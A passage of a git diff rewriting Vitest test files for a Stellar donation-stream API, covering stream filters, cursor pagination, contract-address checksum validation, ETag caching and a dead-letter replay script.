Date(Date.UTC(2026, 0, 1, 0, 0, index)), - }, - }); - } - - // Page 1: limit=2 — should return the two newest events and a nextCursor. - const firstPage = await app.inject({ - method: 'GET', - url: `/v1/streams/${stream.id}/activity?limit=2`, - }); - expect(firstPage.statusCode).toBe(200); - const firstBody = firstPage.json(); - expect(firstBody.events).toHaveLength(2); - expect(firstBody.hasMore).toBe(true); - expect(firstBody.events.map((e: { type: string }) => e.type)).toEqual([ - 'CANCELLED', - 'WITHDRAWAL', - ]); - // nextCursor must be the id of the last event on this page. - expect(firstBody.nextCursor).toBe(firstBody.events[1].id); - - // Page 2: use the returned nextCursor — should return the remaining event. - const secondPage = await app.inject({ - method: 'GET', - url: `/v1/streams/${stream.id}/activity?limit=2&cursor=${firstBody.nextCursor}`, - }); - expect(secondPage.statusCode).toBe(200); - const secondBody = secondPage.json(); - expect(secondBody.events).toHaveLength(1); - expect(secondBody.events[0].type).toBe('TOP_UP'); - expect(secondBody.hasMore).toBe(false); - expect(secondBody.nextCursor).toBeNull(); - - await app.close(); - }); - - it('400s on an unknown cursor', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - const stream = await prisma.stream.create({ - data: { - onChainId: 3n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/streams/${stream.id}/activity?cursor=00000000-0000-0000-0000-000000000000`, - }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); - - it('404s for an unknown stream', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/streams/00000000-0000-0000-0000-000000000000/activity', - }); - expect(response.statusCode).toBe(404); - - await app.close(); - }); - - it('400s on a malformed stream id', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/streams/not-a-uuid/activity', - }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); -}); +import { StrKey } from '@stellar/stellar-sdk'; +import { afterEach, describe, expect, it } from 'vitest'; + +import { prisma } from '../../src/db.js'; +import { buildServer } from '../../src/server.js'; +import { fakeAddress, fakeContractAddress, resetDb } from '../helpers/db.js'; + +describe('GET /v1/streams', () => { + afterEach(async () => { + await resetDb(); + }); + + it('filters by donor address', async () => { + const app = buildServer(); + + const donorA = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const donorB = await prisma.donor.create({ data: { address: fakeAddress('B') } }); + const ngo = await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('C'), + name: 'NGO', + displayName: 'Public NGO Name', + verified: true, + }, + }); + + await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donorA.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + await prisma.stream.create({ + data: { + onChainId: 2n, + donorId: donorB.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '200', + withdrawn: '0', + }, + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/streams?donor=${donorA.address}`, + }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.streams).toHaveLength(1); + expect(body.streams[0].onChainId).toBe('1'); + expect(body.streams[0].ngo.name).toBe('Public NGO Name'); + // Serialized as a string — the route must never hand back a raw BigInt. + expect(typeof body.streams[0].onChainId).toBe('string'); + expect(body.hasMore).toBe(false); + + await app.close(); + }); + + it('400s on a malformed donor address instead of matching nothing silently', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/streams?donor=not-an-address' }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); + + it('400s on a malformed ngo id', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/streams?ngo=not-a-uuid' }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); + + it('filters by token contract address', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + const targetToken = fakeContractAddress('C'); + + await prisma.stream.createMany({ + data: [ + { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: targetToken, + rate: '1', + balance: '100', + withdrawn: '0', + }, + { + onChainId: 2n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeContractAddress('D'), + rate: '1', + balance: '200', + withdrawn: '0', + }, + ], + }); + + const response = await app.inject({ method: 'GET', url: `/v1/streams?token=${targetToken}` }); + + expect(response.statusCode).toBe(200); + expect( + response.json().streams.map((stream: { onChainId: string }) => stream.onChainId), + ).toEqual(['1']); + + await app.close(); + }); + + it('400s on a malformed token contract address', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/streams?token=not-a-contract' }); + + expect(response.statusCode).toBe(400); + await app.close(); + }); + + it('rejects a token with a valid shape but a bad checksum', async () => { + const app = buildServer(); + const valid = fakeContractAddress('D'); + // Same length and alphabet as a contract address, so a pattern check alone + // would accept it; only the checksum differs. + const corrupted = valid.slice(0, -1) + (valid.endsWith('A') ? 'B' : 'A'); + expect(corrupted).toMatch(/^C[A-Z2-7]{55}$/); + expect(StrKey.isValidContract(corrupted)).toBe(false); + + const response = await app.inject({ method: 'GET', url: `/v1/streams?token=${corrupted}` }); + + expect(response.statusCode).toBe(400); + expect(response.json().error).toBe('invalid_request'); + expect(response.json().details.fieldErrors.token).toBeDefined(); + + await app.close(); + }); + + it('accepts a checksum-valid contract address for token', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: `/v1/streams?token=${fakeContractAddress('D')}`, + }); + + expect(response.statusCode).toBe(200); + + await app.close(); + }); + + it('returns the same error body shape for every invalid query parameter', async () => { + const app = buildServer(); + const valid = fakeContractAddress('D'); + const badChecksum = valid.slice(0, -1) + (valid.endsWith('A') ? 'B' : 'A'); + const cases: Record = { + donor: 'donor=not-an-address', + ngoAddress: 'ngoAddress=not-an-address', + ngo: 'ngo=not-a-uuid', + cursor: 'cursor=not-a-uuid', + token: 'token=not-a-contract', + tokenBadChecksum: `token=${badChecksum}`, + status: 'status=DELETED', + limitTooLarge: 'limit=101', + limitZero: 'limit=0', + limitNotANumber: 'limit=abc', + }; + + for (const [name, query] of Object.entries(cases)) { + const response = await app.inject({ method: 'GET', url: `/v1/streams?${query}` }); + const body = response.json(); + + expect(response.statusCode, name).toBe(400); + expect(body.error, name).toBe('invalid_request'); + // One validator means one body: every failure carries zod's details. + expect(Object.keys(body).sort(), name).toEqual(['details', 'error']); + expect(body.details.fieldErrors, name).toBeDefined(); + } + + await app.close(); + }); + + it('coerces a string limit and rejects values above the maximum', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('L') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('M'), name: 'Limit NGO', verified: true }, + }); + await prisma.stream.createMany({ + data: Array.from({ length: 3 }, (_, index) => ({ + onChainId: BigInt(50 + index), + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('N'), + rate: '1', + balance: '100', + withdrawn: '0', + })), + }); + + const coerced = await app.inject({ method: 'GET', url: `/v1/streams?ngo=${ngo.id}&limit=2` }); + expect(coerced.statusCode).toBe(200); + expect(coerced.json().streams).toHaveLength(2); + expect(coerced.json().hasMore).toBe(true); + + const tooLarge = await app.inject({ + method: 'GET', + url: `/v1/streams?ngo=${ngo.id}&limit=101`, + }); + expect(tooLarge.statusCode).toBe(400); + + await app.close(); + }); + + it('pages through results with a filter applied', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + const otherNgo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('C'), name: 'Other NGO', verified: true }, + }); + + // Created oldest first so `createdAt desc` returns onChainId 3, 2, 1. + for (const onChainId of [1n, 2n, 3n]) { + await prisma.stream.create({ + data: { + onChainId, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + } + // Belongs to a different NGO — must never show up in either page below. + await prisma.stream.create({ + data: { + onChainId: 4n, + donorId: donor.id, + ngoId: otherNgo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + + const firstPage = await app.inject({ + method: 'GET', + url: `/v1/streams?ngo=${ngo.id}&limit=2`, + }); + expect(firstPage.statusCode).toBe(200); + const firstBody = firstPage.json(); + expect(firstBody.streams).toHaveLength(2); + expect(firstBody.hasMore).toBe(true); + expect(firstBody.streams.map((s: { onChainId: string }) => s.onChainId)).toEqual(['3', '2']); + expect(firstBody.nextCursor).toBe(firstBody.streams[1].id); + + const secondPage = await app.inject({ + method: 'GET', + url: `/v1/streams?ngo=${ngo.id}&limit=2&cursor=${firstBody.nextCursor}`, + }); + expect(secondPage.statusCode).toBe(200); + const secondBody = secondPage.json(); + expect(secondBody.streams).toHaveLength(1); + expect(secondBody.streams[0].onChainId).toBe('1'); + expect(secondBody.hasMore).toBe(false); + expect(secondBody.nextCursor).toBeNull(); + + await app.close(); + }); + it('returns hasMore true when more than 100 matching streams exist', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('H') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('I'), name: 'Big NGO', verified: true }, + }); + + await prisma.stream.createMany({ + data: Array.from({ length: 101 }, (_, i) => ({ + onChainId: BigInt(100 + i), + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '100', + withdrawn: '0', + })), + }); + + const response = await app.inject({ method: 'GET', url: `/v1/streams?ngo=${ngo.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.streams).toHaveLength(100); + expect(body.hasMore).toBe(true); + + await app.close(); + }); + + it('filters by ngoAddress and returns only matching streams', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'Target NGO', verified: true }, + }); + const otherNgo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('C'), name: 'Other NGO', verified: true }, + }); + + await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + await prisma.stream.create({ + data: { + onChainId: 2n, + donorId: donor.id, + ngoId: otherNgo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '200', + withdrawn: '0', + }, + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/streams?ngoAddress=${ngo.ownerAddress}`, + }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.streams).toHaveLength(1); + expect(body.streams[0].onChainId).toBe('1'); + + await app.close(); + }); + + it('returns empty list when ngoAddress matches no NGO', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + + await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/streams?ngoAddress=${fakeAddress('Z')}`, + }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.streams).toHaveLength(0); + + await app.close(); + }); + + it('400s on a malformed ngoAddress', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/streams?ngoAddress=not-an-address', + }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); + + it('filters by status combined with donor filter', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + + await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + status: 'ACTIVE', + }, + }); + await prisma.stream.create({ + data: { + onChainId: 2n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '200', + withdrawn: '0', + status: 'CANCELLED', + }, + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/streams?donor=${donor.address}&status=ACTIVE`, + }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.streams).toHaveLength(1); + expect(body.streams[0].onChainId).toBe('1'); + expect(body.streams[0].status).toBe('ACTIVE'); + + await app.close(); + }); + it('exposes lastRate for a cancelled stream via GET /v1/streams/:id', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('M') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('N'), name: 'NGO N', verified: true }, + }); + const stream = await prisma.stream.create({ + data: { + onChainId: 99n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('O'), + rate: '0', + lastRate: '42', + balance: '0', + withdrawn: '0', + status: 'CANCELLED', + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/streams/${stream.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.rate).toBe('0'); + expect(body.lastRate).toBe('42'); + expect(body.status).toBe('CANCELLED'); + + await app.close(); + }); +}); + +describe('GET /v1/streams/:id', () => { + afterEach(async () => { + await resetDb(); + }); + + it('returns a single stream', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + const stream = await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/streams/${stream.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.id).toBe(stream.id); + expect(body.onChainId).toBe('1'); + expect(typeof body.onChainId).toBe('string'); + + await app.close(); + }); + + it('includes createdTxHash in single stream response', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + const txHash = 'c4515e3bdc0897f21cc5dbec8c82cf0a936d4741cb74a8e158eb51b9fb00411a'; + const stream = await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + createdTxHash: txHash, + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/streams/${stream.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.createdTxHash).toBe(txHash); + + await app.close(); + }); + + it('returns null createdTxHash for legacy streams without one', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + const stream = await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/streams/${stream.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.createdTxHash).toBeNull(); + + await app.close(); + }); + + it('404s for an id that does not exist', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/streams/00000000-0000-0000-0000-000000000000', + }); + expect(response.statusCode).toBe(404); + + await app.close(); + }); + + it('400s for a malformed id instead of leaking a Prisma error', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/streams/not-a-uuid' }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); + + it('returns null name and registered false for a stream to an unregistered NGO', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + // Placeholder NGO: name is empty, not yet registered on-chain. + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: '', verified: false }, + }); + const stream = await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/streams/${stream.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.ngo.name).toBeNull(); + expect(body.ngo.registered).toBe(false); + // ownerAddress is still present so clients can display the wallet address if they choose. + expect(body.ngo.ownerAddress).toBe(ngo.ownerAddress); + + await app.close(); + }); +}); + +describe('GET /v1/streams/chain/:onChainId', () => { + afterEach(async () => { + await resetDb(); + }); + + it('returns a single stream by its on-chain ID', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('B'), + name: 'NGO', + displayName: 'Public NGO Name', + verified: true, + }, + }); + const stream = await prisma.stream.create({ + data: { + onChainId: 42n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + + const response = await app.inject({ method: 'GET', url: '/v1/streams/chain/42' }); + expect(response.statusCode).toBe(200); + expect(response.json()).toMatchObject({ + id: stream.id, + onChainId: '42', + donor: { address: donor.address }, + ngo: { id: ngo.id, name: 'Public NGO Name', registered: true }, + }); + + await app.close(); + }); + + it('404s for an on-chain ID that does not exist', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/streams/chain/987654321' }); + expect(response.statusCode).toBe(404); + expect(response.json()).toEqual({ error: 'not_found' }); + + await app.close(); + }); + + it('400s for a non-numeric on-chain ID', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/streams/chain/not-a-number' }); + expect(response.statusCode).toBe(400); + expect(response.json()).toEqual({ error: 'invalid_request' }); + + await app.close(); + }); +}); + +describe('GET /v1/streams/:id/activity', () => { + afterEach(async () => { + await resetDb(); + }); + + it("returns a stream's events newest first", async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + const stream = await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + + // Created oldest first so the response order is CANCELLED -> WITHDRAWAL -> TOP_UP. + for (const [index, type] of (['TOP_UP', 'WITHDRAWAL', 'CANCELLED'] as const).entries()) { + await prisma.streamEvent.create({ + data: { + streamId: stream.onChainId, + type, + ledger: 100, + txHash: 'aabbcc', + payload: {}, + createdAt: new Date(Date.UTC(2026, 0, 1, 0, 0, index)), + }, + }); + } + + const response = await app.inject({ + method: 'GET', + url: `/v1/streams/${stream.id}/activity`, + }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.events).toHaveLength(3); + expect(body.events.map((e: { type: string }) => e.type)).toEqual([ + 'CANCELLED', + 'WITHDRAWAL', + 'TOP_UP', + ]); + expect(body.hasMore).toBe(false); + expect(body.nextCursor).toBeNull(); + + await app.close(); + }); + + it('returns an ETag and 304 for a matching If-None-Match header', async () => { + const app = buildServer(); + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + const stream = await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + const url = `/v1/streams/${stream.id}/activity`; + + const first = await app.inject({ method: 'GET', url }); + const etag = first.headers.etag; + expect(etag).toBeDefined(); + expect(first.headers['cache-control']).toContain('max-age=30'); + + const cached = await app.inject({ + method: 'GET', + url, + headers: { 'if-none-match': String(etag) }, + }); + expect(cached.statusCode).toBe(304); + expect(cached.body).toBe(''); + expect(cached.headers.etag).toBe(etag); + + await app.close(); + }); + + it('returns nextCursor and walks two pages using that cursor', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + const stream = await prisma.stream.create({ + data: { + onChainId: 2n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + + // Created oldest first so newest-first order is CANCELLED, WITHDRAWAL, TOP_UP. + for (const [index, type] of (['TOP_UP', 'WITHDRAWAL', 'CANCELLED'] as const).entries()) { + await prisma.streamEvent.create({ + data: { + streamId: stream.onChainId, + type, + ledger: 100, + txHash: 'aabbcc', + payload: {}, + createdAt: new Date(Date.UTC(2026, 0, 1, 0, 0, index)), + }, + }); + } + + // Page 1: limit=2 — should return the two newest events and a nextCursor. + const firstPage = await app.inject({ + method: 'GET', + url: `/v1/streams/${stream.id}/activity?limit=2`, + }); + expect(firstPage.statusCode).toBe(200); + const firstBody = firstPage.json(); + expect(firstBody.events).toHaveLength(2); + expect(firstBody.hasMore).toBe(true); + expect(firstBody.events.map((e: { type: string }) => e.type)).toEqual([ + 'CANCELLED', + 'WITHDRAWAL', + ]); + // nextCursor must be the id of the last event on this page. + expect(firstBody.nextCursor).toBe(firstBody.events[1].id); + + // Page 2: use the returned nextCursor — should return the remaining event. + const secondPage = await app.inject({ + method: 'GET', + url: `/v1/streams/${stream.id}/activity?limit=2&cursor=${firstBody.nextCursor}`, + }); + expect(secondPage.statusCode).toBe(200); + const secondBody = secondPage.json(); + expect(secondBody.events).toHaveLength(1); + expect(secondBody.events[0].type).toBe('TOP_UP'); + expect(secondBody.hasMore).toBe(false); + expect(secondBody.nextCursor).toBeNull(); + + await app.close(); + }); + + it('400s on an unknown cursor', async () => { + const app = buildServer(); + + const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, + }); + const stream = await prisma.stream.create({ + data: { + onChainId: 3n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('D'), + rate: '1', + balance: '100', + withdrawn: '0', + }, + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/streams/${stream.id}/activity?cursor=00000000-0000-0000-0000-000000000000`, + }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); + + it('404s for an unknown stream', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/streams/00000000-0000-0000-0000-000000000000/activity', + }); + expect(response.statusCode).toBe(404); + + await app.close(); + }); + + it('400s on a malformed stream id', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/streams/not-a-uuid/activity', + }); + expect(response.statusCode).toBe(400); + + await app.close(); + }); +}); diff --git a/test/scripts/replayDeadLetters.test.ts b/test/scripts/replayDeadLetters.test.ts index c2a4f1a..e8fa267 100644 --- a/test/scripts/replayDeadLetters.test.ts +++ b/test/scripts/replayDeadLetters.test.ts @@ -1,103 +1,103 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest'; - -const mocks = vi.hoisted(() => { - process.env.NGO_REGISTRY_CONTRACT_ID = 'CTESTREPLAYCONTRACT'; - process.env.DONATION_VAULT_CONTRACT_ID = ''; - - return { - findMany: vi.fn(), - findUnique: vi.fn(), - update: vi.fn(), - }; -}); - -vi.mock('../../src/db.js', () => ({ - prisma: { - indexerDeadLetter: { - findMany: mocks.findMany, - findUnique: mocks.findUnique, - update: mocks.update, - }, - $disconnect: vi.fn(), - }, -})); - -vi.mock('../../src/indexer/dispatch.js', () => ({ - dispatchEvent: vi.fn(), -})); - -import { nativeToScVal } from '@stellar/stellar-sdk'; - -import { replayDeadLetters } from '../../src/scripts/replayDeadLetters.js'; - -function encoded(value: string, type: 'symbol' | 'string'): string { - return nativeToScVal(value, { type }).toXDR('base64'); -} - -const deadLetter = { - id: 'dead-letter-1', - eventId: '0000000520-0000000000', - ledger: 520, - contractId: 'CTESTREPLAYCONTRACT', - error: 'old handler failure', - topic: [encoded('register', 'symbol')], - value: encoded('Replay NGO', 'string'), - txHash: null, - attempts: 1, - resolvedAt: null, - createdAt: new Date(), - updatedAt: new Date(), -}; - -describe('replayDeadLetters', () => { - beforeEach(() => { - mocks.update.mockClear(); - }); - - it('marks a row resolved after the dispatcher applies it', async () => { - mocks.findMany.mockResolvedValue([deadLetter]); - mocks.findUnique.mockResolvedValue({ attempts: 1 }); - mocks.update.mockResolvedValue({}); - const dispatcher = vi.fn().mockResolvedValue(undefined); - - const report = await replayDeadLetters({ dispatcher }); - - expect(report).toEqual({ attempted: 1, resolved: 1, failed: 0 }); - expect(dispatcher).toHaveBeenCalledTimes(1); - expect(mocks.update).toHaveBeenCalledWith({ - where: { id: deadLetter.id }, - data: { resolvedAt: expect.any(Date), attempts: { increment: 1 } }, - }); - }); - - it('keeps a row unresolved when replay throws', async () => { - mocks.findMany.mockResolvedValue([{ ...deadLetter, topic: ['not-valid-xdr'] }]); - mocks.findUnique.mockResolvedValue({ attempts: 1 }); - mocks.update.mockResolvedValue({}); - const dispatcher = vi.fn().mockResolvedValue(undefined); - - const report = await replayDeadLetters({ dispatcher }); - - expect(report).toEqual({ attempted: 1, resolved: 0, failed: 1 }); - expect(dispatcher).not.toHaveBeenCalled(); - expect(mocks.update).toHaveBeenCalledWith({ - where: { id: deadLetter.id }, - data: { - error: expect.not.stringMatching(/^old handler failure$/), - attempts: { increment: 1 }, - }, - }); - }); - - it('keeps a row unresolved when the handler records a new dead letter', async () => { - mocks.findMany.mockResolvedValue([deadLetter]); - mocks.findUnique.mockResolvedValue({ attempts: 2 }); - mocks.update.mockClear(); - const dispatcher = vi.fn().mockResolvedValue(undefined); - - const report = await replayDeadLetters({ dispatcher }); - - expect(report).toEqual({ attempted: 1, resolved: 0, failed: 1 }); - expect(mocks.update).not.toHaveBeenCalled(); - }); -}); +import { beforeEach, describe, expect, it, vi } from 'vitest'; + +const mocks = vi.hoisted(() => { + process.env.NGO_REGISTRY_CONTRACT_ID = 'CTESTREPLAYCONTRACT'; + process.env.DONATION_VAULT_CONTRACT_ID = ''; + + return { + findMany: vi.fn(), + findUnique: vi.fn(), + update: vi.fn(), + }; +}); + +vi.mock('../../src/db.js', () => ({ + prisma: { + indexerDeadLetter: { + findMany: mocks.findMany, + findUnique: mocks.findUnique, + update: mocks.update, + }, + $disconnect: vi.fn(), + }, +})); + +vi.mock('../../src/indexer/dispatch.js', () => ({ + dispatchEvent: vi.fn(), +})); + +import { nativeToScVal } from '@stellar/stellar-sdk'; + +import { replayDeadLetters } from '../../src/scripts/replayDeadLetters.js'; + +function encoded(value: string, type: 'symbol' | 'string'): string { + return nativeToScVal(value, { type }).toXDR('base64'); +} + +const deadLetter = { + id: 'dead-letter-1', + eventId: '0000000520-0000000000', + ledger: 520, + contractId: 'CTESTREPLAYCONTRACT', + error: 'old handler failure', + topic: [encoded('register', 'symbol')], + value: encoded('Replay NGO', 'string'), + txHash: null, + attempts: 1, + resolvedAt: null, + createdAt: new Date(), + updatedAt: new Date(), +}; + +describe('replayDeadLetters', () => { + beforeEach(() => { + mocks.update.mockClear(); + }); + + it('marks a row resolved after the dispatcher applies it', async () => { + mocks.findMany.mockResolvedValue([deadLetter]); + mocks.findUnique.mockResolvedValue({ attempts: 1 }); + mocks.update.mockResolvedValue({}); + const dispatcher = vi.fn().mockResolvedValue(undefined); + + const report = await replayDeadLetters({ dispatcher }); + + expect(report).toEqual({ attempted: 1, resolved: 1, failed: 0 }); + expect(dispatcher).toHaveBeenCalledTimes(1); + expect(mocks.update).toHaveBeenCalledWith({ + where: { id: deadLetter.id }, + data: { resolvedAt: expect.any(Date), attempts: { increment: 1 } }, + }); + }); + + it('keeps a row unresolved when replay throws', async () => { + mocks.findMany.mockResolvedValue([{ ...deadLetter, topic: ['not-valid-xdr'] }]); + mocks.findUnique.mockResolvedValue({ attempts: 1 }); + mocks.update.mockResolvedValue({}); + const dispatcher = vi.fn().mockResolvedValue(undefined); + + const report = await replayDeadLetters({ dispatcher }); + + expect(report).toEqual({ attempted: 1, resolved: 0, failed: 1 }); + expect(dispatcher).not.toHaveBeenCalled(); + expect(mocks.update).toHaveBeenCalledWith({ + where: { id: deadLetter.id }, + data: { + error: expect.not.stringMatching(/^old handler failure$/), + attempts: { increment: 1 }, + }, + }); + }); + + it('keeps a row unresolved when the handler records a new dead letter', async () => { + mocks.findMany.mockResolvedValue([deadLetter]); + mocks.findUnique.mockResolvedValue({ attempts: 2 }); + mocks.update.mockClear(); + const dispatcher = vi.fn().mockResolvedValue(undefined); + + const report = await replayDeadLetters({ dispatcher }); + + expect(report).toEqual({ attempted: 1, resolved: 0, failed: 1 }); + expect(mocks.update).not.toHaveBeenCalled(); + }); +}); diff --git 